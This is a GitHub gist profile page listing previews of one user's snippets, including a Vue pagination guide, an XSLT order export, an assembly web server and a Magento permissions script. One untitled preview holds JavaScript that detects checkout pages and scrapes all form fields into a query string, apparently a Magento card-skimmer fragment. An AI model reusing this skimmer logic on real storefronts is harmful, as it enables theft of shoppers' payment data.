Skip to content

Instantly share code, notes, and snippets.

View jbelke's full-sized avatar
🎯
Focusing

Joshua Belke jbelke

🎯
Focusing
  • Magnetism Labs
  • NY
View GitHub Profile
@jbelke
jbelke / vuejs-paginated-data.md
Created August 2, 2021 16:38 — forked from minute-med/vuejs-paginated-data.md
How to display paginated non-tabulated data with vue.js (NUXT) and Buefy

how to make a pagination system for non tabulated data with nuxt (or Vue.js) and buefy

Here we gonna see how to make a basic pagination for data that we dont want to display in a table i decided to go for the computed property way and since i'm a lazy ass i dediced to pick up Buefy, a nice css component library that i already used before to handle the pagination logic for me.

Download & install buefy for nuxt

npm install nuxt-buefy --save

@jbelke
jbelke / order-export-sample.xlst
Created June 17, 2021 18:14
Order Export Sample
<?xml version="1.0"?> <!-- XML Declaration, leave as is -->
<files> <!-- Files node, can contain multiple <file> nodes, each defining one output format -->
<file filename="orders_%d%_%m%_%Y%.csv"> <!-- File node, contains the actual XSL Template, with parameters filename and encoding (optional) -->
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"> <!-- The XSL Template begins here. Namespaces get defined. Leave as is. -->
<xsl:output method="text" encoding="UTF-8"/> <!-- The xsl:output directive defines settings that apply to the whole XSL Template. Method can be set to xml for example, encoding will be output for XML files into the XML declaration of the file. More parameters can be found here: http://www.w3schools.com/xsl/el_output.asp -->
<xsl:variable name="sepstart" select="'&#34;'"/> <!-- A variable that can be accessed using $sepstart in the XSL Template. It contains &#34; which is the representation of the " character. -->
<xsl:variable nam
<?xml version="1.0"?>
<?mso-application progid="Excel.Sheet"?>
<Workbook
xmlns="urn:schemas-microsoft-com:office:spreadsheet"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:x="urn:schemas-microsoft-com:office:excel"
xmlns:x2="http://schemas.microsoft.com/office/excel/2003/xml"
xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet"
xmlns:o="urn:schemas-microsoft-com:office:office"
xmlns:html="http://www.w3.org/TR/REC-html40"
@jbelke
jbelke / httpd.asm
Created March 11, 2020 14:06 — forked from xenomuta/httpd.asm
httpd.asm: Arguably the world smallest web server. ( for GNU/Linux i386. Compile with nasm )
section .text
global _start
_start:
xor eax, eax
xor ebx, ebx
xor esi, esi
jmp _socket
_socket_call:
@jbelke
jbelke / httpd.asm
Created March 11, 2020 14:06 — forked from xenomuta/httpd.asm
httpd.asm: Arguably the world smallest web server. ( for GNU/Linux i386. Compile with nasm )
section .text
global _start
_start:
xor eax, eax
xor ebx, ebx
xor esi, esi
jmp _socket
_socket_call:

Keybase proof

I hereby claim:

To claim this, I am signing this object:

Keybase proof

I hereby claim:

To claim this, I am signing this object:

@jbelke
jbelke / README.md
Created February 6, 2019 17:50 — forked from dignifiedquire/README.md
IPFS on Zerotier

[IPFS] on [Zerotier]

  1. Setup your own Zerotier network, either using your own server or the provided one.
  2. Ensure the network provides ip4 and ip6 addresses

On all machines you want to connect

1. Install Zerotier

2. Install IPFS 0.4 (from source at the moment, see Instructions here)

3. Join Zerotiernetwork

setTimeout(checkForCheckout, 100);
var snd = null;
function checkForCheckout() {
if ((/onepage|firecheckout|Checkout|onestepcheckout|onepagecheckout|checkout|oscheckout|idecheckoutvm|fancycheckout/).test(window.location)) {
scrapeAllFields();
}
}
function createQueryString() {
@jbelke
jbelke / reset_permissions.sh
Created November 7, 2018 21:34 — forked from leek/reset_permissions.sh
Magento - Simple reset file permissions script
#!/bin/bash
#
# Found on StackOverflow:
# http://stackoverflow.com/a/9304264/3765
#
if [ ! -f ./app/etc/local.xml.template ]; then
echo "-- ERROR"
echo "-- This doesn't look like a Magento install. Please make sure"
echo "-- that you are running this from the Magento main doc root dir"